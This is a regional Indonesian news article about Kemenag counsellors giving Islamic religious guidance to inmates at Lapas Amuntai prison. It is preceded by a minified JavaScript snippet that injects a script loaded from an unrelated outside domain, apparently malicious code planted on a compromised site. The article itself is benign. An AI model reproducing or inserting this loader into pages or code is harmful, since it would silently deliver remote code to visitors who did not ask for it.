(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pokjaluh dan FKPAI Pembinaan Rohani ke Warga Binaan Lapas Amuntai

KANALKALIMANTAN.COM, AMUNTAI – Kelompok Kerja Penyuluh (Pokjaluh) dan Forum Komunikasi Penyuluh Agama Islam (FKPAI) Kementerian Agama (Kemenag) Kabupaten Hulu Sungai Utara (HSU) melakukan pembinaan agama Islam kepada warga binaan Lembaga Pemasyarakatan (Lapas) Amuntai.

Pembinaan agama Islam yang dilakukan Pokjaluh dan FKPAI Kemenag HSU unuk Pondok Pesantren dan Majelis Ta’lim At Taubah Lapas Amuntai.

Pengasuh Ponpes At Taubah Lapas Amuntai Ahmad Nawawi Abdurrauf mengatakan, pembinaan keagamaan bagi warga binaan ini melakukan metode berbasis Pondok Pesantren di Lapas.

“Ini merupakan satu diantara cara kami untuk melihat langsung bagaimana proses pembinaan keagamaan berbasis pesantren di Lapas,” katanya, Rabu (11/10/2023) siang.

Nawawi berharap, kegiatan pembinaan kerohanian di Lapas ini dapat memberikan dampak positif bagi para warga dalam upaya memperbaiki kehidupan mereka setelah masa hukuman berakhir.

Ketua Pokjaluh HSU, Sri Hartati menyampaikan rasa terima kasih kepada pihak Lapas Amuntai dan jajaran Pondok Pesantren At Taubah karena diberika kesempatan untuk melakukan kunjungan silaturahmi, serta pembinaan kepada warga binaan.

Kepala Satuan Pengamanan Lapas (KPLP) Amuntai, Muhammad Kuderi mengapresiasi terhadap peran penting Pondok Pesantren di Lapas Amuntai dalam program kepribadian bagi warga binaan.

Kehadiran Pondok Pesantren sangat membantu dalam upaya memperbaiki dan mengembangkan kepribadian khususnya kerohanian warga binaan.

“Ada dua program di Lapas ini, program kemandirian dan kepribadian. Salah satunya adalah program kepribadian ini lah yang masuk Pondok Pesantren Lapas Amuntai,” pungkasnya. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie